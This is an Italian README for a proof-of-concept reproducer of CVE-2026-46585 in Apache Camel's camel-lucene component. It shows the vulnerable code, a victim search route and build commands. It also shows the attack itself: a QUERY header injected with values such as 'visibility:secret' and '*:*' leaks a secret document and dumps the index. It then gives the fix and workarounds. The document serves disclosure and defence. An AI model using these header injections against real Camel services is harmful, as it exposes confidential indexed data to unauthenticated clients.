
Riproduttore per CVE-2026-46585: iniezione nell'header QUERY di Apache Camel camel-lucene che consente il bypass dell'autorizzazione / esfiltrazione dei dati dell'indice (corretto in 4.14.8/4.18.3/4.21.0)
QUERY in camel-lucene (CVE-2026-46585)Questo progetto dimostra un iniezione di header-messaggio / bypass dell'autorizzazione nel componente camel-lucene di Apache Camel, tracciato come CVE-2026-46585. Il producer di query Lucene legge la frase di ricerca full-text da un header dell'Exchange, ma il nome dell'header era la semplice stringa QUERY (e RETURN_LUCENE_DOCS per il flag dei documenti). Poiché questi nomi non iniziano con il prefisso Camel / camel, HttpHeaderFilterStrategy — che blocca solo il namespace degli header Camel al confine HTTP — li lascia passare da una richiesta HTTP in entrata direttamente nell'Exchange. Qualsiasi client HTTP che colpisca una route che espone una query Lucene dietro un consumer HTTP può quindi impostare l'header e far eseguire il suo valore contro l'indice, .
QUERYQuesta PoC dimostra l'impatto come bypass dell'autorizzazione / esfiltrazione di dati: un client non autenticato inietta sintassi di query Lucene grezza per leggere un documento che l'endpoint di ricerca pubblica non avrebbe mai dovuto restituire (e una query match-all scarica l'intero indice).
| Proprietà | Valore |
|---|---|
| Componente | camel-lucene |
| Classe interessata | org.apache.camel.component.lucene.LuceneQueryProducer che legge LuceneConstants.HEADER_QUERY (valore "QUERY") |
| CWE | CWE-20 (Validazione dell'input impropria) / CWE-639 (Bypass dell'autorizzazione tramite chiave controllata dall'utente) |
| Impatto | Un client HTTP imposta l'header QUERY → viene eseguita una query Lucene arbitraria → lettura di documenti al di fuori dell'ambito previsto, o query regex pesanti per la CPU |
| Prerequisiti | Una route espone un producer lucene:...:query dietro un consumer HTTP (es. platform-http); non autenticata quando il consumer lo è |
| Versioni interessate | Dalla 4.0.0 precedente alla 4.14.8, dalla 4.15.0 precedente alla 4.18.3, dalla 4.19.0 precedente alla 4.21.0 |
| Versioni corrette | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23509 |
| Crediti | Andrea Cosentino (Apache Software Foundation) e Yu Bao (PayPal) |
Stessa famiglia di iniezione di header di CVE-2025-27636, CVE-2026-40453, CVE-2026-46454 e CVE-2026-46457, e condivide la causa principale della costante dell'header non prefissata con
Camelcon il fratello camel-elasticsearchSEARCH_QUERY.
// LuceneConstants (interessato 4.18.2) — il nome dell'header è la parola nuda "QUERY":
public static final String HEADER_QUERY = "QUERY";
public static final String HEADER_RETURN_LUCENE_DOCS = "RETURN_LUCENE_DOCS";
// LuceneQueryProducer.process (interessato 4.18.2) — la frase arriva direttamente da quell'header:
String phrase = exchange.getIn().getHeader(LuceneConstants.HEADER_QUERY, String.class);
...
if (phrase != null) {
searcher.open(indexDirectory, analyzer);
hits = searcher.search(phrase, maxNumberOfHits, totalHitsThreshold, isReturnLuceneDocs); // controllato dall'attaccante
}
LuceneSearcher analizza la frase con un classico QueryParser("contents", analyzer), quindi l'attaccante ottiene la sintassi completa delle query Lucene: termini con campo (visibility:secret), match-all (*:*), wildcard e espressioni regolari costose.
La correzione (4.14.8 / 4.18.3 / 4.21.0, CAMEL-23509) rinomina i valori degli header secondo la convenzione Camel — HEADER_QUERY da QUERY a CamelLuceneQuery, e HEADER_RETURN_LUCENE_DOCS a CamelLuceneReturnLuceneDocs — in modo che vengano filtrati al confine HTTP come ogni altro header di controllo Camel. I nomi dei campi costanti rimangono invariati (le route che riferiscono LuceneConstants.HEADER_QUERY continuano a funzionare); è un cambiamento di rottura solo per le route che impostano/leggono questi header tramite il loro valore stringa grezzo.
from("platform-http:/search")
.removeHeaders("Camel*") // hardening documentato — vedi sotto
.to("lucene:kb:query?indexDir=#kbIndexDir&maxHits=50")
.process(/* render the Hits as text */);
Il modello di sicurezza dell'autore della route è "questo endpoint serve solo la ricerca pubblica". Come hardening documentato, la route rimuove anche il namespace degli header di controllo Camel al confine con removeHeaders("Camel*"). Questo non aiuta: l'header di controllo si chiama QUERY, non CamelLuceneQuery, quindi non viene rimosso né da quella chiamata né dal filtro incorporato dell'header HTTP — che è esattamente il punto della CVE (ed esattamente ciò che la ridenominazione della correzione affronta).
L'indice contiene tre documenti pubblici più un documento segreto etichettato visibility:secret il cui corpo contiene un indicatore di flag benigno. Una normale ricerca pubblica (QUERY=onboarding, un termine semplice contro il campo contents predefinito) non lo restituisce mai; una query con campo iniettata sì.
La vittima è la route di ricerca Camel e il suo indice; l'attaccante è un client HTTP non autenticato che imposta solo un header di richiesta. Tutto viene eseguito in un'unica applicazione autonoma.
CVE-2026-46585/
├── pom.xml # camel-platform-http + camel-lucene 4.18.2
├── Dockerfile
├── docker-compose.yml # singolo servizio autonomo
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── IndexConfig.java # registra la directory dell'indice come bean Camel (#kbIndexDir)
│ ├── IndexBootstrap.java # costruisce l'indice Lucene: 3 doc pubblici + 1 doc segreto (il flag)
│ ├── VictimRoute.java # from("platform-http:/search").to("lucene:kb:query")
│ └── ExploitController.java # attaccante: GET /search con un header QUERY iniettato
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
mvn clean package -DskipTests
java -jar target/cve-2026-46585-lucene-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack
=== 1) Legitimate public search (QUERY=onboarding) ===
hits=2
- Frequently asked questions about billing and account onboarding.
- Welcome onboarding guide: how to use the public knowledge base and search for articles.
secret leaked: false
=== 2) Injected query (QUERY=visibility:secret) ===
hits=1
- CONFIDENTIAL executive compensation memo - internal distribution only. FLAG{lucene_query_injection_CVE_2026_46585}
secret leaked: true
=== 3) Match-all query (QUERY=*:*) dumps the whole index ===
hits=4
- ... (every document, including the secret one) ...
>>> Authorization-bypass / header-injection proof — an unauthenticated HTTP client read a
>>> document outside the endpoint's intended scope by injecting the QUERY header: true
La ricerca per termine legittimo restituisce solo documenti pubblici. La richiesta di attacco — differendo solo per il valore di un singolo header che il framework avrebbe dovuto filtrare — legge il documento segreto, e una query match-all restituisce l'intero indice.
Qualsiasi route con un producer lucene:...:query raggiungibile da un consumer HTTP. Oltre alla lettura di documenti non intenzionali, l'attaccante può:
*:* o un predicato di campo diverso (bypass dell'autorizzazione).Aggiornare a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23509). Dopo l'aggiornamento, le route che impostano la query tramite il nome dell'header grezzo devono usare CamelLuceneQuery (e CamelLuceneReturnLuceneDocs) invece di QUERY / RETURN_LUCENE_DOCS; questi nomi con namespace Camel vengono filtrati al confine HTTP come ogni altro header di controllo.
In attesa dell'aggiornamento:
.removeHeader("QUERY") e .removeHeader("RETURN_LUCENE_DOCS"), quindi .setHeader("QUERY", constant(...)) (o costruirla da input validato) all'inizio della route.Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza permesso esplicito.